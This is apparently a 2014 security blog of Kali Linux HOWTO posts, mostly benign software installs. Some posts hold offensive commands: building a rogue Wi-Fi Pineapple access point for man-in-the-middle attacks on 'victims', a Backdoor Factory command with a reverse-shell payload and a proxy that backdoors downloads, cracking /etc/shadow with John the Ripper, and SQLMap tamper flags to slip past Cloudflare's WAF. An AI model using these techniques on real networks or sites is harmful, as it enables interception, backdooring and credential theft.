Open Source is a great idea and it has changed the world!
Open Source forever ....
While you do not know attack, how can you know about defense? (未知攻,焉知防?)
Do BAD things .... for the RIGHT reasons -- OWASP ZAP
It is easier to port a shell than a shell script. -- Larry Wall
Most of you are familiar with the virtues of a programmer. There are three, of course: laziness, impatience, and hubris. -- Larry Wall
为天地立心, 为生民立命, 为往圣继绝学, 为万世开太平。 -- 王炜
Friday, December 26, 2014
Tuesday, December 23, 2014
HOWTO : Oracle Java 8 on Kali Linux 1.0.9a
nano java8Add the following to the file and save.
echo "deb http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" | tee /etc/apt/sources.list.d/webupd8team-java.list
echo "deb-src http://ppa.launchpad.net/webupd8team/java/ubuntu trusty main" | tee -a /etc/apt/sources.list.d/webupd8team-java.list
apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys EEA14886
apt-get update
apt-get install oracle-java8-installerMake the file executable.
chmod +x java8Run it to install.
./java8To uninstall.
apt-get --purge remove oracle-java8-installerThat's all! See you.
Wednesday, December 17, 2014
HOWTO : Flash Plugin on Kali Linux 1.0.9a
To install Flash :
apt-get install flashplugin-nonfreeTo update Flash :
update-flashplugin-nonfree --installGoogle Chrome
nano /etc/apt/sources.listAppend the following line :
deb http://http.debian.net/debian wheezy-backports main contrib non-freeTo install Flash :
apt-get updateapt-get -t wheezy-backports install pepperflashplugin-nonfreeMake sure to comment out the newly added repos after the install :
#deb http://http.debian.net/debian wheezy-backports main contrib non-freeTo update Flash :
update-pepperflashplugin-nonfree --installThat's all! See you.
Saturday, December 06, 2014
HOWTO : Fine Tune of iPad Mini 3 LTE
By default, Personal Hotspot is hidden. You need to activate it by the following procedure :
(a) Settings - Cellular Data - Personal Hotspot - APN Settings - Personal Hotspot
(b) Enter some information at APN, Username and Password. Those information is not required to be real data.
(c) Exit and return, you will find Personal Hotspot option on the menu.
Cellular Data and Wifi Connection Timeout
(a) Settings - Touch ID & Passcode
(b) Enable iPad Unlock, Enable Require Passcode
(c) Settings - General - Auto-Lock
(d) Set to Never. If you cannot find "Never", you need to go to Settings - General - Reset - Reset All Settings.
(e) Enable Lock/Unlock
The internet connection will not be timeout or disconnected even you close the smartcase cover, unless you quit the application.
Make sure your MacBook Air's Energy Saving setting is set to "Never" when it is using battery. Meanwhile, the Energy Saving setting is set to prevent computer sleeping when using power adapter. However, I encounter some problem when connecting the shared wifi. I think we should wait for the release of 10.10.2 for the wifi fix.
In addition, the Personal Hotspot share with Bluetooth is awesome. It is stable and fast but with the distance limitation. It is the alternative of the wifi share at the moment.
That's all! See you.
Friday, December 05, 2014
HOWTO : Sandboxing Firefox on Mac OS X Yosemite (10.10.1)
Go to the Apple Apps Store to install the current version of
XCode if you do not have it installed.Step 2 :
Install Homebrew if you do not have it installed.
sudo ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"To test the install if it is success or not :
brew doctorStep 3 :
Install git if you do not have it installed.
brew install gitStep 4 :
cd /Users/Shared/sudo git clone https://github.com/pansen/macos-sandbox-profiles.gitStep 5 :
cd /Applications/Firefox.app/Contents/MacOS/
sudo mv firefox-bin firefox-bin.real
sudo ln -sf /Users/Shared/macos-sandbox-profiles/bin/firefox-bin .Step 6 :
Quit the Firefox if it is still running (not just close the browser) and then restart it.
That's all! See you.
Thursday, December 04, 2014
HOWTO : ArpON on Kali Linux 1.0.9a
Step 1 :
apt-get update
apt-get install arponStep 2 :
nano /etc/default/arponUncomment the DARPI and RUN, makes it looking as :
DAEMON_OPTS='-q -f /var/log/arpon/arpon.log -g -d"
RUN="yes"Step 3 :
Reboot your Kali Linux.
REFERENCE
ArpON - ARP Handler Inspection
Protect you from being ARP spoofing
That's all! See you.
HOWTO : ArpON on Mac OSX Yosemite (10.10.1)
Step 1 :
Go to the Apple Apps Store to install the current version of
XCode if you do not have it installed.Step 2 :
Install Homebrew if you do not have it installed.
sudo ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"Step 3 :
To test the install if it is success or not :
brew doctorStep 4 :
brew install git
brew install cmake
brew install libdnet
brew install libnet
brew link libdnetStep 5 :
cd ~sudo git clone git://git.code.sf.net/p/arpon/code arponsudo -sH
cd arpon
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr ..
make
make installexitStep 6 :
cd ~
nano arpon_startup
/usr/sbin/arpon -i en0 -D -qchmod +x arpon_startupStep 7 :
sudo nano /System/Library/LaunchDaemons/org.arpon.startup.plist*** Please note that where "samiux" is my username, change to your username accordingly.
Step 8 :
Reboot your Mac.
REFERENCE
ArpON - ARP Handler Inspection
Installing Homebrew on OS X Yosemite 10.10, Package Manager for Unix Apps
Protect you from being ARP spoofing
That's all! See you.
Tuesday, November 04, 2014
Blueberry - The Wifi Pineapple Mark V
PLEASE NOTE THAT THIS ARTICLE IS CONSIDERED TO BE OUT-DATED AND WIFI PINEAPPLE 2.0.4 IS VULNERABLE. PLEASE DO NOT FOLLOW THIS ARTICLE TO INSTALL IT. YOU ARE WASTING YOUR TIME AND MONEY FOR SURE.
Hardware
(1) TP-Link TL-MR3020 ver. 1.x (ver. 1.9 at the time of this writing)
(2) SanDisk Cruzer Fit USB Flash Drive (8GB)
Software
(1) OpenWrt
(2) Wifi Pineapple firmware
(3) Kali Linux 1.0.9a or Ubuntu Desktop 14.04 LTS
Wifi Pineapple is created by Hak5. It is a quite expensive device ($99.99-USD at the time of this writing). It is also named as Jasager (in German). The meaning in English is "Yes Man".
Wifi Pineapple is the Rouge Wifi Access Point (AP) to answer “Yes” to all Wifi probe requests by mobile devices. When a Wifi client is looking for an open SSID (no matter the SSID is) in Macdonald's Restaurant or in a cafe shop, the Pineapple (or Jasager) will reply “That’s Me!”. Once victims' mobile devices connected to Wifi Pineapple, you can carry out Man-in-the-Middle attack against the victims.
Now, we are going to make your Wifi Pineapple in less than $25-USD (TP-Link TL-MR3020 is about $20-USD while SanDisk Cruzer Fit USB Flash Drive is about $5-USD) and in a very easy way.
Step 1 :
To download the OpenWRT (Attitude Adjustment 12.09 - at this time of writing) :
If you are fresh install from the stock version of the TP-Link TL-MR3020 -
wget http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-factory.binIf you are upgrade from the previous installed OpenWRT -
wget http://downloads.openwrt.org/attitude_adjustment/12.09/ar71xx/generic/openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-sysupgrade.binConfigure your computer to static IP address :
IP address : 192.168.0.10
Gateway : 192.168.0.1Connect the TL-MR3020 to your computer with cable. The default IP address of stock TP-Link TL-MR3020 is
192.168.0.254. Then browse to the stock IP address.The username and password of the stock TP-Link TL-MR3020 are both "
admin".Go to the "
System Tools" -- "Firmware Upgrade" to upgrade from the just downloaded .bin file.Step 2 :
Once upgraded to OpenWRT, your device's IP address will changed to
192.168.1.1.Configure your computer to static IP address :
IP address : 192.168.1.10
Gateway : 192.168.1.1Then set the very STRONG root password at "
System" -- "Administration".Go to "
System" -- "System" to set the timezone.To enable wireless at "
Network" -- "Wifi".To enable DHCP at "
Network" - "Interfaces" - "Edit" - select "DHCP Client" and select "OpenWrt" by clicking "Switch Protocol". If you take too much time to re-load the page, it is fine. It is because the IP address cannot be get. Just go ahead.Now, connect your TL-MR3020 with ethernet cable to the internet. Then, connect your computer to the TL-MR3020 via wifi and the SSID is "
OpenWrt". Make sure you can access to the internet.Once you get the IP address, such as
192.168.1.100, you can connect to the TL-MR3020 via ssh.ssh 192.168.1.100 -lrootEnter your just created very STRONG root password.
Install the following packages :
opkg update
opkg install kmod-usb-storage
opkg install kmod-fs-ext4
opkg install block-mountStep 3 :
Format your USB pendrive (8GB) as ext4 and swap, e.g. 2GB for swap (sda1) and 6GB for ext4 (sda2).
Then insert the USB pendrive to the TL-MR3020. Execute the following command line by line.
mkdir -p /mnt/sda2
mount /dev/sda2 /mnt/sda2
mkdir -p /tmp/cproot
mount --bind / /tmp/cproot
tar -C /tmp/cproot -cvf - . | tar -C /mnt/sda2 -xf -
umount /tmp/cproot
umount /mnt/sda2Step 4 :
/etc/init.d/fstab enable
/etc/init.d/fstab startvi /etc/config/fstabChange the content as the following :
config mount
option target /
option device /dev/sda2
option fstype ext4
option options rw,sync
option enabled 1
option enabled_fsck 0
config swap
option device /dev/sda1
option enabled 1The following is the command for the vi if you do not familiar with vi :
i - go to the insert mode and ready for edit
Esc - exit from insert mode
:w - write the changes to the file
:q - quit the vi
Then type the following command to reboot the device :
rebootOnce it boot up again, you login to it via ssh.
To check if the USB pendrive is mounted as "
/" or not :mount
dfStep 5 :
Turn off the TL-MR3020 and take the USB Pendrive out from the TL-MR3020 and insert to your computer.
Back up the USB Pendrive to your computer.
mkdir mr3020
sudo cp -R /media/1234....1123/* ~/mr3020/
sudo cp -R ~/mr3020/lib ~/mr3020/lib-original*** Where
/media/1234....1123/ is different from yours.You also need to make a backup of the
/lib directory.Do not take out the USB Pendrive from your computer.
Step 6 (Pineapple firmware installation):
Download the upgrade package of Pineapple (upgrade-2.0.4.bin at the time of this writing) to your computer, such as Kali Linux or Ubuntu :
wget -O upgrade-2.0.4.bin https://wifipineapple.com/index.php?downloads&download_mk5_upgrade=2.0.4When using Ubuntu, you should issue "
sudo". However, Kali Linux does not required.Install firmware-mod-kit on your Kali Linux or Ubuntu if you do not have it :
sudo apt-get install firmware-mod-kit
sudo /opt/firmware-mod-kit/trunk/extract-firmware.sh upgrade-2.0.4.bin
cd fmk/rootfsCopy the requested directories to the USB Pendrive.
sudo cp -R bin/* /media/1234....1123/bin/
sudo cp -R sbin/* /media/1234....1123/sbin/
sudo cp -R usr/* /media/1234....1123/usr/
sudo cp -R etc/* /media/1234....1123/etc/
sudo cp -R www/* /media/1234....1123/www/
sudo cp -R pineapple /media/1234....1123/
sudo cp -R lib/firmware/* /media/1234....1123/lib/firmware/
sudo cp lib/* /media/1234....1123/lib/
sudo cp lib/wifi/* /media/1234....1123/lib/wifi/
sudo cp ~/mr3020/etc/config/fstab /media/1234....1123/etc/config/
sudo cp ~/mr3020/etc/passwd /media/1234....1123/etc/
sudo cp ~/mr3020/etc/shadow /media/1234....1123/etc/
sudo cp -R ~/mr3020/lib-original /media/1234....1123/Step 6a :
To allow the victim to surf the internet via Pineapple, you need to change the DNS and Gateway at
/etc/config/network from 172.16.42.1 to 172.16.42.42. Or, to change the DNS to 8.8.8.8Step 7 :
Insert back the USB Pendrive to TL-MR3020.
Switch on TL-MR3020 and until it is booted up. Run "
wp5.sh" script (at Step 8) at your computer. Browse the IP address that is showing on the screen. You will be asked to enter the password twice for the initial login. You should enter the previous STRONG root password.Step 8 (Connectivity) :
The following is one of the ways to use the Pineapple (TL-MR3020) by the way of tethering :
Connect your laptop to internet via wireless or 3G.
Then connect the CAT5/5e/6 cable to the Pineapple and your laptop.
At the laptop, download the script.
wget http://www.wifipineapple.com/wp5.sh
chmod +x wp5.sh
sudo ./wp5.shNow, your computer (laptop) can access internet and also can access the TL-MR3020. Victims can also access the internet when they connected to your Pineapple.
Once you want to reset what wp5.sh set, you need to run the following script that is created by me.
sudo ./killwp5.shWhen the TL-MR3020 is rebooted, you need to run
wp5.sh again to get the access.Important Note
There are THREE important things you should NOT do, otherwise, you will brick the TL-MR3020. They are :
First - Do NOT upgrade the OpenWrt from the web interface as the USB pendrive will not be mounted. Unless, you install the related packages again as above stated.
Second - Do NOT upgrade the Pineapple in the normal way (that is via the web UI or Pineapple). Make sure keep away from the
/lib directory. Or, if you have a backup, you can copy the /lib directory back.Third - Do NOT long press the "
WPS/Reset" button on the TL-MR3020; otherwise, the OpenWrt will be reset and the USB pendrive cannot be mounted. Unless, you install the related packages again as above stated.Remarks
Victims need to had connected to any open wifi before; otherwise, Karma will not work.
Make sure the TL-MR3020 is version 1.x, other versions may brick the TL-MR3020.
The ONLY way to upgrade the Pineapple firmware is by following
Step 6. In addition, you can upgrade from Mark IV (by this tutorial) to Mark V by following the Step 6 only.Some infusions may not working on Blueberry as it is not the original one. For example, (1) the WPS infusion does not work as designed on Blueberry as it has only one wifi card. You cannot provide the internet connection to the victims and conduct WPS hacking at the same time. (2) The PineAP and Reconnaissance on AP & Client do not work as designed on Blueberry as it has only one wifi card too.
Know Issues
The external Wifi Dongle, such as Realtek 8187L does not work even the driver is installed and loaded. The limitation of Blueberry is that it cannot provide internet access to the victims and doing the attacks at the same time (for some of the attacks), such as WPS attacks.
It is still a good try to the Blueberry before you considering to purchase an original Wifi Pineapple Mark V.
Reference
Wifi Pineapple Mark V -
Pineapple Mark V WiKi
Pineapple Forums
Hak5
PhiberOptics Youtube
Code injection to the downloading binaries
Wifi Pineapple Mark IV -
The beginners guide to breaking website security with nothing more than a Pineapple
Getting Started with the Wi-Fi Pineapple IV (Video)
Security4Plus Youtube Channel (Video)
How To: Configure a WiFi Pineapple For Use With Mac OS X (Video)
The Wifi Pineapple Book - Free Download
WiFi Pineapple – First Impression
You just can't trust wireless: covertly hijacking wifi and stealing passwords using sslstrip
All about WiFi Pineapple (Video)
That's all! See you.
Tuesday, October 28, 2014
Do Not Trust Your Download Even It Is From The Trusted Source
The tool suite is namely The Backdoor Factory and it also comes with a proxy to inject the backdoor while the victim is downloading the binaries - BDFProxy. The BDFProxy is working for HTTP protocol only.
Joshua Pitts discovers that one of the Tor Network Exit Nodes doing code injection to the binaries which are downloaded by victims via Tor network. His blog is showing how it will be and the interview report is talking about that.
How to install BDFactory on Kali Linux 1.0.9a?
BDFactory is working very well with Metasploit Framework.
apt-get update
apt-get dist-upgrade
apt-get autoclean
apt-get --purge autoremove
apt-get install python-pipInstall BDFactory :
cd ~
git clone https://github.com/secretsquirrel/the-backdoor-factory.git
cd the-backdoor-factory
./install.shTo update :
./update.shInstall BDFProxy :
cd ~
git clone https://github.com/secretsquirrel/BDFProxy.git
cd BDFProxy
./install.shTo update :
./update.shUsage of BDFactory :
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcpUsage of BDFProxy :
nano bdfproxy.cfg*change the settings when necessary
./bdf_proxy.pymsfconsole -r bdfproxy_msf_resource.rc*if you are working with Pineapple, you need run ./wpBDF.sh to configure your environment
Conclusion
Don't trust your downloaded binary even it is downloaded from the trusted source when it is delievered via HTTP. Meanwhile, please download binaries in Tor network with care.
Please DO NOT use this tool suite for illegal purpose; otherwise, you will be put into the jail.
REFERENCE
Evasion of Anti-Virus with Veil Framework and The Backdoor Factory
Transparently proxify virtual machines Transparent Proxy (Linux)
Framework for Man-In-The-Middle Attack
HOWTO : Protect You From Being ARP Spoofing
That's all! See you.
Thursday, October 16, 2014
VULNERABLE : Poodle SSLv3 Vulnerability
Google researchers have discovered a security vulnerability in SSL 3.0 that allows attackers to decrypt encrypted website connections. The details is in here.
However, some security experts disagree that the bug is particularly serious and they think that it only affect the public wifi.
How to exploit it?
Daniel Fox Franke wrote in his blog to explain how to exploit the vulnerability.
How to test the browsers vulnerability?
Qualys provides a tester online for the browsers testing. Or, you can try another tester online.
How to test the server vulnerability?
Qualys provides server test online for the server testing.
How to fix the browsers vulnerability?
There is a tutorial to show you how to fix them.
How to fix the common servers vulnerability?
There is a tutorial to show to you how to fix the vulnerability on common servers.
That's all! See you.
Thursday, October 02, 2014
HOWTO : CUDA with Kali Linux 1.0.9
Hardware
CPU : Intel i7-3930K
RAM : 32GB DDR3
Hard Drive : 3TB
Display Card : Two nVidia GeForce GTX 590
Install Kali
Install Kali Linux 1.0.9 on the box as usual. Make sure "secure boot" is disabled in your BIOS before installing. After that, you update the Kali accordingly.
apt-get update
apt-get dist-upgradeInstall nVidia Driver
apt-get install -y linux-headers-$(uname -r)
apt-get install nvidia-kernel-dkms nvidia-driver nvidia-cuda-toolkit nvidia-xconfig
nvidia-xconfig
sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub
update-grub
rebootAfter the reboot :
cd /usr/src/nvidia-current-331.67
make
cp Module.symvers uvm/
make -C uvm
cp uvm/nvidia-uvm.ko /lib/modules/`uname -r`/updates/dkmsUpdated on Jan 8, 2015
Remark : If you use backports version, the nvidia_uvm problem is fixed and the cudaHashcat 1.31 can be running without any problem. The backports version of nVidia driver is 340.65 and the version of CUDA driver is 5.5.22 at this time of writing.
echo "deb http://ftp.debian.org/debian wheezy-backports main contrib non-free" >> /etc/apt/sources.listapt-get updateapt-get install -t wheezy-backports nvidia-kernel-dkms nvidia-cuda-toolkit nvidia-driver nvidia-xconfigIf you have done the following steps, you are not required to re-do it again.
nvidia-xconfig
sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub
update-grub
rebootInstall cudaHashcat
mkdir hacking
cd hacking
wget http://hashcat.net/files/cudaHashcat-1.30.7z
7za x cudaHashcat-1.30.7z
wget http://hashcat.net/files-legacy/cudaHashcat-1.31.7z
7za x cudaHashcat-1.31.7z(Please noted that the current version 1.32 does not compatible to nVidia driver 340.x).
Test the cudaHashcat
cd /root/hacking/cudaHashcat-1.30/
./cudaExample0.sh
cd /root/hacking/cudaHashcat-1.30/
./cudaExample400.sh
cd /root/hacking/cudaHashcat-1.30/
./cudaExample500.shInstall John the Ripper
(Please note that the current version of john is john-1.80-jumbo-1.tar.gz)
apt-get install libssl-dev
cd hacking
wget http://www.openwall.com/john/g/john-1.7.9-jumbo-7.tar.gz
tar -xvzf john-1.7.9-jumbo-7.tar.gz
cd john-1.7.9-jumbo-7/src
./configure
make
make clean linux-x86-64-cuda** If your hashes or passwords are longer than 8 characters, you need to change the following before compiling the John.
cd john-1.7.9-jumbo-7/src
nano params.hThen change from "8" to "18" or "20" and etc.
#define CHARSET_LENGTH 8Test the John the Ripper
cd /root/hacking/john-1.7.9-jumbo-7/run
./john --device=0,1,2,3 --format=sha512crypt-cuda /etc/shadow* since I have 4 GPUs, so the --device should be 4.
*** When you changed the CHARSET_LENGTH, you need to generate a new charset. Do it once only.
wget http://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
bunzip2 -d rockyou.txt.bz2
cp rockyou.txt /root/hacking/john-1.7.9-jumbo-7/run
cd /root/hacking/john-1.7.9-jumbo-7/run
cat rockyou.txt | sed 's/^/:/' > rockyou.pot
mv all.chr all.chr-original
mv alnum.chr alnum.chr-original
mv alpha.chr alpha.chr-original
mv digits.chr digits.chr-original
mv lanman.chr lanman.chr-original
./john --pot=rockyou.pot --make-charset=all.chr
./john --pot=rockyou.pot --make-charset=alnum.chr --external=filter_alnum
./john --pot=rockyou.pot --make-charset=alpha.chr --external=filter_alpha
./john --pot=rockyou.pot --make-charset=digits.chr --external=filter_digits
./john --pot=rockyou.pot --make-charset=lanman.chr --external=filter_lanmanThen your cracking command will be :
./john --pot=rockyou.pot --device=0,1,2,3 --format=sha512crypt-cuda /etc/shadowInstall and Test Cryptohaze
cd hacking
wget http://sourceforge.net/projects/cryptohaze/files/Cryptohaze-Linux_x64_1_31a.tar.bz2/download -O Cryptohaze-Linux_x64_1_31a.tar.bz2
tar xjvf Cryptohaze-Linux_x64_1_31a.tar.bz2
cd /root/hacking/Cryptohaze-Linux
./Cryptohaze-Multiforcer -h NTLM -c charsets/charsetall -f test_hashes/Hashes-NTLM-Full.txtThat's all! See you.
Wednesday, October 01, 2014
HOWTO : Uninstall a specific software/package in Kali Linux 1.0.9
apt-get --purge remove wineA more safety way to uninstall Wine should be as the following :
dpkg --remove --force-depends wine-bin
dpkg --remove --force-depends wineThat's all! See you.
Tuesday, September 30, 2014
Sunday, September 28, 2014
Kali Linux Nexus NetHunter
Kali Linux NetHunter HID Attack from Offensive Security on Vimeo.
A quick demonstration of the Kali Linux NetHunter HID attack (Teensy like), by Offensive Security.
Kali Linux NetHunter "Bad USB" MITM Attack from Offensive Security on Vimeo.
The Kali Linux NetHunter implementation of the "Bad USB" MITM attack as demonstrated by the guys from srlabs.de at BlackHat 2014.
That's all! See you.
Friday, September 26, 2014
Friday, September 05, 2014
Thursday, September 04, 2014
REVIEW : ZOTAC ZBOX C1320 Nano Plus
CPU : Intel Celeron N2930 (Quad-core, 1.83GHz, up to 2.16GHz)
GPU : Intel HD Graphic
RAM : 1 x DDR3L-1333 SO-DIMM (2GB Included)
HDD : 1 x 2.5-inch SATA 3.0Gb/s (64GB SSD Included)
Ethernet : Realtek Gigabit LAN
Wireless : IEEE802.11ac Intel Wifi
Bluetooth : 4.0
Remarks : 1 x SD/SDHC/SDXC Card Reader, 1 x HDMI, 1 x DisplayPort, 1 x eSATA, 4 x USB 3.0, 2 x USB 2.0
You can select UEFI or BIOS when doing setup. You also can disable the Secure Boot.
It is no problem to boot up Kali Linux 1.0.9 64bit.
This box is working very well with VMWare Workstation 10.x (64-bit). The 64bit guest virtual machine is working properly.
The power consumption is between 13W and 20W.
I recommend this box as its low power consumption with high performance.
Update :
HD video playback with the following drivers. However, the chipset is too new and it cannot be loaded properly :
sudo apt-get install i965-va-driver libva-intel-vaapi-driver vainfoThat's all! See you.
Tuesday, August 19, 2014
HOWTO : SQLMap for Cloudflare protected sites
First of all, you need to make sure the target site is protected by Cloudflare, you can add "
--identify-waf" or "--check-waf" to confirm. However, do not set "--thread=" larger than 1 as the target will give you "403 Forbidden" error. Once you get the "403 error", your IP address is banned. Therefore, you are required to consider to use proxy servers or TOR to access the target.Secondary, you need to add "
--tamper='between,randomcase,space2comment'" and "-v 3", if the target is confirmed being protected by Cloudflare. You may also consider to add "--random-agent" and "--tor" when necessary.Finally, do not use Kali Linux provided SQLMap scripts as it has no "WAF" scripts pre-installed. You are better to download the latest version of SQLMap from the official site.
git clone https://github.com/sqlmapproject/sqlmap.gitThis hint can be applied to other WAFs, IDSs and IPSs, such as mod_security or other Cloudflare like service providers.
For example :
python sqlmap.py -u "https://www.cloudflare.com/" --check-waf --tamper="between,randomcase,space2comment" -v 3 --random-agent --torThat's all! See you.
Friday, July 18, 2014
Defense your Network and Servers
In my opinion, the best way to defense your network and servers from being attacked is to interfere with the intruders' reconnaissance. When intruders cannot get any valuable information, they cannot perform the attack properly.
Most of the intruders use automatic tools, such as vulnerability scanners, to perform the reconnaissance and they seldom do it manually as it is harder for them especially for web applications. However, a small portion of advanced intruders may do it manually.
Hiawatha, a secure and advanced web server, can be configured to block vulnerability scanners from scanning the web server. Since the vulnerability scanners do not work properly, intruders cannot get any valuable information on the web server in order to launch an attack.
Suricata, a high performance network IDS, IPS and network security monitoring engine, used with Emerging Threats rules can be configured to drop the packet of the vulnerability scanners from scanning.
Web Application Firewall (WAF) and Intrusion Detection/Prevention System (IDS/IPS) as well as firewall can be bypassed by some of the advanced intruders. Therefore, blocking the vulnerability scanners is one of the good ways to defense your network and server from being attacked.
That's all! See you.
